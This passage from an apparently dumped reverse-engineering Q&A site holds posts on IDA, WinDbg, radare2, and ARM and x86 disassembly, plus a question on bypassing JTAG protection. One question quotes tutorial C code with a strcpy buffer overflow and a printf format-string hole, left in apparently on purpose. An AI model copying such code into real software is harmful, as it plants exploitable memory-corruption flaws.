you need &#xA;to put them back after printf a+b before jumping back here &#xA;00401cf6 fb02f303 mul         r3,r2,r3&#xA;00401cfa 9301     str         r3,[sp,#4]&#xA;&#xA;0:000&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw if you want to generate bytes for patching like say b label instruction &#xA;you can use the visual studio armasm  like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dir /b *.obj&#xA;File Not Found&#xA;&#xA;:\&amp;gt;cat myasm.asm&#xA;    AREA .text, CODE, ARM&#xA;test PROC&#xA;    b (0x401d18-0x401cf2)&#xA;    ENDP&#xA;    END&#xA;:\&amp;gt;armasm myasm.asm&#xA;Microsoft (R) ARM Macro Assembler Version 14.13.26128.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;:\&amp;gt;dir /b *.obj&#xA;myasm.obj&#xA;&#xA;:\&amp;gt;link -dump -disasm myasm.obj&#xA;Microsoft (R) COFF/PE Dumper Version 14.13.26128.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file myasm.obj&#xA;&#xA;File Type: COFF OBJECT&#xA;&#xA;test:&#xA;  00000000: E011      b           00000026&#xA;&#xA;  Summary&#xA;&#xA;          74 .debug$S&#xA;           2 .text&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-20T06:47:48.353" LastActivityDate="2018-03-20T06:47:48.353" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17739" PostTypeId="2" ParentId="17735" CreationDate="2018-03-19T21:02:28.513" Score="2" Body="&lt;p&gt;I might be wrong, but it sounds to me like you loaded the binary file at the wrong imagebase. It sounds like you loaded it at the default base address of 0x0, whereas the base address really ought to be 0x2000000. Load the file into IDA again from scratch and try putting 0x2000000 in the &quot;Loading offset&quot; box on the initial &quot;Load a new file&quot; dialog box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why I think that: based on your examples, e.g. the second one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jsr     $200CA4C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're claiming the real address is 0x0CA4C, a difference of 0x2000000 from what's displayed. Your first example also differs by 0x2000000. So I'm guessing those instructions have hard-coded addresses in them, with all of them just above 0x2000000. That tells me the binary probably expects to be loaded at that address, which is why I'm advising you to try loading it at that address and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2018-03-19T21:02:28.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17740" PostTypeId="2" ParentId="17712" CreationDate="2018-03-19T21:13:53.603" Score="1" Body="&lt;p&gt;Your question is very unclear, but as for this specific question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I change some code, can it be certain that after compilation the opcodes above it in PE file won't change ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The answer is no. If you change part of the program, the compiler may change different parts of the program that you did not modify. The two most accessible examples are functions called by the function you modified, and functions that call the modified function. In both cases, your changes to one function might result in the compiler manufacturing a different calling convention for any of the functions just mentioned, or the compiler may perform something along the lines of interprocedural common subexpression elimination. Then there are other optimizations like profile-guided ones that might drastically change the binary, although you'll know if you're using profile-guided optimizations, which it seems very strongly like you aren't.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2018-03-19T21:13:53.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17741" PostTypeId="2" ParentId="17660" CreationDate="2018-03-19T21:20:43.187" Score="2" Body="&lt;p&gt;Runemoro's answer from the comment seems like a very approachable one. You're going to need to update one (or two) RVAs in the FirstThunk (and/or OriginalFirstThunk) arrays referenced from the IMAGE_IMPORT_DESCRIPTOR for that DLL. Why not just patch that entry to contain some other innocuous RVA for another function imported from the same DLL?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2018-03-19T21:20:43.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17742" PostTypeId="2" ParentId="17656" CreationDate="2018-03-19T21:23:36.540" Score="2" Body="&lt;p&gt;I own an IDA license, so I have no use for the free one. I don't know with complete certainty whether the freeware version does debugging, but here's a quote from the &lt;a href=&quot;https://hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;freeware download page&lt;/a&gt; about the limitations of the freeware version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lacks support for many processors, file formats, debugging etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might be out of luck trying to debug with the freeware version.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2018-03-19T21:23:36.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17743" PostTypeId="2" ParentId="17737" CreationDate="2018-03-20T04:28:22.047" Score="2" Body="&lt;p&gt;Creating section does work but saving them has a long outstanding &lt;a href=&quot;https://github.com/radare/radare2/issues/8388&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt;. I think,  not sure, I saw now the bug report has been marked fixed and closed in some version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But just tried out wci command and I didn't see the Newsection written out to file in disk so maybe you should pursue the issue in Radare's reports section. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;radare2 -w jmpesp.exe&#xA; -- The door is everything ...&#xA;&#xA;[0x00401000]&amp;gt; e io.cache = true&#xA;[0x00401000]&amp;gt; e io.cache.write =true&#xA;[0x00401000]&amp;gt; e io.cache.read  = true&#xA;&#xA;[0x00401000]&amp;gt; S&#xA;[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text&#xA;[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata&#xA;&#xA;[0x00401000]&amp;gt; S 0x600 0x403000 0x200 0x1000 .what rwx&#xA;&#xA;[0x00401000]&amp;gt; S&#xA;[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text&#xA;[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata&#xA;[-1:02] . pa=0x00000600 -rwx va=0x00403000 sz=0x0200 vsz=0x1000 .what&#xA;&#xA;[0x00401000]&amp;gt; om&#xA; 6 fd: 3 +0x00000600 0x00403000 - 0x004031ff -rwx fmap..what&#xA; 5 fd: 6 +0x00000000 0x00403200 - 0x00403fff -rwx mem..what&#xA; 4 fd: 3 +0x00000200 0x00401000 - 0x004011ff -rwx fmap..text&#xA; 3 fd: 5 +0x00000000 0x00401200 - 0x00401fff mrwx mmap..text&#xA; 2 fd: 3 +0x00000400 0x00402000 - 0x004021ff -rw- fmap..rdata&#xA; 1 fd: 4 +0x00000000 0x00402200 - 0x00402fff mrw- mmap..rdata&#xA;&#xA;[0x00401000]&amp;gt; wci&#xA;&#xA;[0x00401000]&amp;gt; S&#xA;[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text&#xA;[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata&#xA;[-1:02] . pa=0x00000600 -rwx va=0x00403000 sz=0x0200 vsz=0x1000 .what&#xA;[0x00401000]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and quitting and reopening doesn't show the new Section &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401000]&amp;gt; q&#xA;&#xA;:\&amp;gt;radare2 -w jmpesp.exe&#xA; -- *(ut64*)buffer ought to be illegal&#xA;[0x00401000]&amp;gt; S&#xA;[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text&#xA;[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata&#xA;[0x00401000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorDisplayName="user12114" LastEditDate="2019-01-19T19:46:15.237" LastActivityDate="2019-01-19T19:46:15.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17744" PostTypeId="1" CreationDate="2018-03-20T09:37:20.357" Score="3" ViewCount="1162" Body="&lt;p&gt;I'm looking for a good method to load custom memory dumps (of usermode processes under Windows) into IDA Pro. These memory dumps may be partial or complete - in terms of other DLLs, such as kernel32, being present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I've attempted writing a Python script (like an *.idc) that'd create an arbitrary amount of segments and fill those with the desired data, but this didn't prove to be a very good technique. Mostly because, in order to run a &quot;Script file&quot;, another file needs to be loaded &amp;amp; analyzed by IDA Pro already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More concretely: I'm looking to build an IDA Pro loader that will load my custom format with the according segments. Architecture should (naturally) be either x86 or x64. Some things will not work as they'd otherwise (e.g., the PE structure may be missing or corrupted). I also don't mind if I have to MakeCode() a number of addresses manually, just loading would be a great start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts / people that have built this before / etc? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1312" LastEditorUserId="1312" LastEditDate="2018-03-20T09:42:41.643" LastActivityDate="2018-03-20T09:42:41.643" Title="loading memory dump into ida pro?" Tags="|ida|x86|memory|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17746" PostTypeId="1" CreationDate="2018-03-20T17:42:15.730" Score="1" ViewCount="299" Body="&lt;p&gt;I have an ARM disassembly as follow, I would be happy if you can help me to understand what it does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldr R14 ,=0X1234&#xA;ldr r10 , [r14 , #0x555]&#xA;mov.w r15, #0x6666&#xA;add.w r10,r15,r10,lsl#15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On first line &lt;code&gt;r14 = 0X1234&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;On second line &lt;code&gt;r10 = r14+0x555&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;On third line &lt;code&gt;r15 = 0x6666&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But, I do not understand what happen on line 4.&lt;/p&gt;&#xA;" OwnerUserId="23685" LastEditorUserId="24222" LastEditDate="2020-07-08T05:49:55.903" LastActivityDate="2023-01-29T09:26:47.670" Title="Help in the process arm disassembly" Tags="|disassembly|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17747" PostTypeId="1" AcceptedAnswerId="17751" CreationDate="2018-03-20T19:31:12.813" Score="1" ViewCount="1947" Body="&lt;p&gt;Please first read this &lt;a href=&quot;http://reverseengineering.stackexchange.com/questions/17735/how-to-modify-strings-and-funtions-reference-detection-in-ida-pro&quot;&gt;My previous question&lt;/a&gt;, and then continue the following:&#xA;&lt;br&gt;&lt;br&gt;****&lt;br&gt;&lt;br&gt;&#xA;The binary file size loaded into IDA is 0x1e400 = 123k, and when I try to only change the &quot;&lt;strong&gt;Loading address&lt;/strong&gt;&quot; to 0x2000000, IDA throws this error:&lt;br&gt; &quot;&lt;em&gt;The loading address should belong to RAM or ROM&lt;/em&gt;&quot;&#xA;&lt;br&gt;&lt;br&gt;&#xA;If I check the &quot;&lt;strong&gt;Create RAM Section&lt;/strong&gt;&quot; and set the &lt;strong&gt;RAM size&lt;/strong&gt; to 0x2000000, and set the &quot;&lt;strong&gt;ROM start address&lt;/strong&gt;&quot; to 0x2000000, IDA detects most of the string references and function calls correctly but new problems arises:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IDA saves the work in a 2GB file which makes saving/loading slow.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some references won't be detected correctly (when address fields does not have the 0x2000000). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(More important problem) IDA doesn't detect some instructions where before IDA was able to detect them correctly) and the bad thing is that IDA gives error when I try to convert them to instruction using MakeCode command.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I manually add those undetected instructions into instructions.&lt;/p&gt;&#xA;" OwnerUserId="23669" LastActivityDate="2018-03-20T21:43:09.743" Title="How to force IDA pro to list some bytes as a specified instruction?" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17750" PostTypeId="2" ParentId="17697" CreationDate="2018-03-20T20:13:55.287" Score="1" Body="&lt;p&gt;If you compile &lt;a href=&quot;https://github.com/alexzielenski/optool&quot; rel=&quot;nofollow noreferrer&quot;&gt;optool&lt;/a&gt; from source, there is a new &lt;code&gt;unrestrict&lt;/code&gt; flag.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;optool unrestrict -t Payload/MY_APP.app/MY_APP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked. Load command removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is even a nice guide explaining how to compile from source, &lt;a href=&quot;http://www.mopsled.com/2016/build-optool-osx/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23566" LastActivityDate="2018-03-20T20:13:55.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17751" PostTypeId="2" ParentId="17747" CreationDate="2018-03-20T21:28:47.737" Score="0" Body="&lt;p&gt;I was the one who advised you to change the loading offset. It sounds like weird stuff is happening as a result of the way you loaded the binary into IDA. I've had similar weird issues before when dealing with segments and loading addresses. Hopefully getting the segmentation working properly will resolve the issues with references/ability to define code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of similar, yet different methods you can use, most of them on the &lt;code&gt;Edit-&amp;gt;Segments&lt;/code&gt; submenu. The first thing I'd try would be loading the program at base address &lt;code&gt;0x0&lt;/code&gt; like you did originally, then trying &lt;code&gt;Edit-&amp;gt;Segments-&amp;gt;Rebase Program&lt;/code&gt;. If that didn't work, I'd try &lt;code&gt;Edit-&amp;gt;Segments-&amp;gt;Move Current Segment&lt;/code&gt;, or &lt;code&gt;Edit-&amp;gt;Segments-&amp;gt;Edit Segment&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2018-03-20T21:43:09.743" LastActivityDate="2018-03-20T21:43:09.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17752" PostTypeId="2" ParentId="17746" CreationDate="2018-03-21T00:58:07.077" Score="4" Body="&lt;p&gt;Your interpretation of line 2 is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldr r10, [r14 , #0x555]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This instruction adds 0x555 and the contents of r14 (0x1234), resulting in the value 0x1789 (which is &lt;em&gt;not&lt;/em&gt; stored back in r14, btw.). This value is then used an an address to &lt;em&gt;load a word (32 bits) from memory at that address&lt;/em&gt; (note that this is an unaligned access which some ARM processors might not support). Thus, after the execution of line 2, r10 contains the value that was loaded from memory address 0x1789 (which is not given in your example).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add.w r10,r15,r10,lsl#15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 4, then, takes the value in r10, shifts this by 15 bits to the left (the lsl #15 part of the instruction - this is essentially a free operation on ARM since the ALU includes a barrel shifter in front of the second ALU input) and adds this shifted value to the value in r15 (0x6666), storing the result back into r10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to learn more about the details of ARM addressing modes, e.g. from &lt;a href=&quot;https://people.cs.clemson.edu/~rlowe/cs2310/notes/ln_arm_load_store_plus_multiple_transfers.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this slide set&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that using r14 in ARM code is quite unusual, since this register is commonly used as the link register (LR) which stores the return address for subroutine calls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using r15 is even more problematic, since this register is used as the program counter (I will assume that your original disassembly uses different registers). If your code really uses r15, the instruction in line 3 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov.w r15, #0x6666&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seems to cause the processor to continue executing at address 0x6666 (effectively, a jump), so line 4 will not get executed at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this would cause an exception here, since either (1) you are running in ARM more and 32-bit ARM instructions have to adhere to a four byte alignment (0x6666 is not divisible by 4) or (2) you are running THUMB code. This allows for two byte alignment, so 0x6666 would be a valid target address. Alas, ARM CPUs supporting THUMB use the convention of requiring bit 0 in the target address to be set to indicate THUMB code at a target address, which is not set here. So in any case, line 3 would result in an exception.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastEditorDisplayName="user22967" LastEditDate="2018-03-21T02:28:46.890" LastActivityDate="2018-03-21T02:28:46.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17753" PostTypeId="1" AcceptedAnswerId="17762" CreationDate="2018-03-21T01:37:55.293" Score="1" ViewCount="974" Body="&lt;p&gt;When protecting a device from being accessed via JTAG there are a number of ways to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two that come immediately to mind are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a '&lt;em&gt;fuse&lt;/em&gt;' that is blown; &lt;/li&gt;&#xA;&lt;li&gt;a JTAG '&lt;em&gt;password&lt;/em&gt;'.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What are some methods or equipment that are used to bypass these protections?&lt;/p&gt;&#xA;" OwnerUserId="22707" LastEditorUserId="53" LastEditDate="2018-03-21T14:17:21.703" LastActivityDate="2018-03-21T14:17:21.703" Title="JTAG protection bypass" Tags="|hardware|jtag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17754" PostTypeId="1" CreationDate="2018-03-21T02:14:36.307" Score="1" ViewCount="410" Body="&lt;p&gt;I have the following very simple X86 assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shr cx, 1&#xA;jae short &amp;lt;addr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically, the jump will be taken if the Carry flag is not set. In the case of &lt;code&gt;shr&lt;/code&gt;, CF will be set to the value of the bit shifted out of the register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering how the same will look like in C (I know it has to be something like &lt;code&gt;if ((num &amp;gt;&amp;gt;&amp;gt; 1) &amp;lt;SOME COMPARISON&amp;gt;)&lt;/code&gt;, as obviously you cannot check for the carry flag, and the value of the shifted bit is unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I'm probably missing something pretty obvious, but still can't figure out the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Thanks to all the comments and answers, although they don't really show what I need. I understand what the code does (checks for odd/even, then jumps if it's one of those). My question is really what kind of C code can generate exactly the instructions I specified (doesn't matter if 16/32/64 bits), which is shift + jump. I'm starting to think that either this is just ASM (which is unlikely, given the amount of times I've found the construct, but certainly possible) or some C code that does everything separate, but gets really optimized at some point, like bit rotation in modern compilers&lt;/p&gt;&#xA;" OwnerUserId="3302" LastEditorUserId="3302" LastEditDate="2018-03-22T08:29:07.787" LastActivityDate="2018-04-10T22:40:23.420" Title="C representation of simple assembly" Tags="|x86|decompilation|c|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17755" PostTypeId="1" AcceptedAnswerId="17756" CreationDate="2018-03-21T03:21:49.103" Score="0" ViewCount="2793" Body="&lt;p&gt;I'm following a tutorial to get a better understanding of how things are passed around through stack frames, but they're working on a x86 system and I'm on x64. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when they've reached the step&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   sub    esp, 0x10&#xA;=&amp;gt; mov    eax, DWORD PTR [ebp+0xC]&#xA;   add    eax, 0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They're able to see the address the pointer is pointing to. Checking the value, they get the address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xbffff6d6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then running x/s on that address returns the string value, which in this case should be the location of the program '/root/Desktop/00byte'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where things are different for me is on x64 my instructions say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   sub    rsp, 0x10&#xA;   mov    DWORD PTR [rbp-0x4], edi&#xA;   mov    QWORD PTR [rbp-0x10], rsi&#xA;=&amp;gt; mov    rax, QWORD PTR [rbp-0x10]&#xA;   add    rax, 0x8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We've both assembled the same code and set our breakpoints on the same line, but on different platforms and I wanted to know how I'd be able to get the address from this point. I had assumed running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x/x $rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would return the address of the pointer but instead it returns &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x55&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I wrong to think the address of the pointer is stored in rax at this point? And if so, how would I get the address from this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can provide more information if needed. We're both using gcc to compile and gdb to debug and using the same arguments when building the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried checking the value in $rbp-16 but that only returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xa8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm not sure where the address is stored at this point in a way that I could examine based on the instructions I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*here's the code, we both put our breakpoints after the line where main() is declared:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;void echo(char *message)&#xA;{&#xA;char buffer[100];&#xA;strcpy(buffer,message);&#xA;printf(buffer);&#xA;}&#xA;int main(int argc, char *argv[])&#xA;{&#xA;echo(argv[1]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an argument is passed to the program and I'm observing how that argument moves through the stack.&lt;/p&gt;&#xA;" OwnerUserId="23692" LastEditorUserId="23692" LastEditDate="2018-03-21T03:55:32.797" LastActivityDate="2018-04-20T04:49:27.613" Title="How to View the Address Referenced by QWORD PTR" Tags="|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17756" PostTypeId="2" ParentId="17755" CreationDate="2018-03-21T04:41:57.823" Score="1" Body="&lt;p&gt;&lt;strong&gt;[ebp+0x0c]&lt;/strong&gt; is an argument to the function&lt;br&gt;&#xA;&lt;strong&gt;[rbp-0x10]&lt;/strong&gt; is a local to the function   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so first of all you are comparing different things&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i assume you are on the main() function because your echo function() takes only one argument so you cant refer a valid argument with [ebp+0xc] in that case  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are on main then [ebp+0x0c] is &lt;strong&gt;char  **argv&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am on windbg and i can get it like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; da  @@c++(*(char **)argv)&#xA;004e8ac0  &quot;x86.exe&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you are on gdb it appears and you can use x/s *(char **)argv or may be (ebp+0xc) &#xA;play with it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the diassembly of the function main would be similar to (disassemble main in gdb instead of uf .)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf .&#xA;    9 00f91040 55              push    ebp&#xA;    9 00f91041 8bec            mov     ebp,esp&#xA;   10 00f91043 b804000000      mov     eax,4&#xA;   10 00f91048 c1e000          shl     eax,0&#xA;   10 00f9104b 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] &amp;lt;&amp;lt;&amp;lt; (char **)argv&#xA;   10 00f9104e 8b1401          mov     edx,dword ptr [ecx+eax] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;argv[1] pointer arithmetic ecx = 4 same as your add eax,4&#xA;   10 00f91051 52              push    edx&#xA;   10 00f91052 e8a9ffffff      call    x86!echo (00f91000)&#xA;   10 00f91057 83c404          add     esp,4&#xA;   11 00f9105a 33c0            xor     eax,eax&#xA;   11 00f9105c 5d              pop     ebp&#xA;   11 00f9105d c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the function echo needs the first argument passed to the binary  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ?? (char *)argv[0]&#xA;char * 0x00258b4c&#xA; &quot;x86.exe&quot;&#xA;0:000&amp;gt; ?? (char *)argv[1]&#xA;char * 0x00258b54&#xA; &quot;this is the first argument passed saniboy&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which incidentally you can also print with x/s in gdb  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; da /c 100 @edx&#xA;00258b54  &quot;this is the first argument passed saniboy&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same code compiled for x64 and disassembled main as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf x64!main&#xA;&#xA;    9 00000001`40001060 4889542410      mov     qword ptr [rsp+10h],rdx&#xA;    9 00000001`40001065 894c2408        mov     dword ptr [rsp+8],ecx&#xA;    9 00000001`40001069 4883ec28        sub     rsp,28h&#xA;   10 00000001`4000106d b808000000      mov     eax,8&#xA;   10 00000001`40001072 486bc001        imul    rax,rax,1&#xA;   10 00000001`40001076 488b4c2438      mov     rcx,qword ptr [rsp+38h]&#xA;   10 00000001`4000107b 488b0c01        mov     rcx,qword ptr [rcx+rax]&#xA;   10 00000001`4000107f e87cffffff      call    x64!echo (00000001`40001000)&#xA;   11 00000001`40001084 33c0            xor     eax,eax&#xA;   11 00000001`40001086 4883c428        add     rsp,28h&#xA;   11 00000001`4000108a c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;x64 passes first 4 arguments via registers and does not use stack for passing arguments &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can find a similar document to this microsoft specific document on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;passing parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so your first argument will be in rcx  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;x/s $rcx &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you cannot go and compare line by line they wont match &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-03-21T04:41:57.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17757" PostTypeId="2" ParentId="17754" CreationDate="2018-03-21T06:04:14.163" Score="1" Body="&lt;p&gt;normally jae will be used when comparing unsigned type with a negative type   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jge will be used when comparing an unsigned type with a positive type &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can try short , byte , char etc etc instead of unsigned int in the code below to get the cx register instead of eax register in the disassenbly that follows the code  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example this code will get a jae as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int  main (void)&#xA;{&#xA;    unsigned int a = 1;&#xA;    unsigned int b = ( ( (a &amp;gt;&amp;gt; 1) &amp;lt; -1 )  ? 0x1337 : 0xdead );&#xA;    return b;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;g shotcmp!main;uf .&quot; shotcmp.exe&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.16299.15 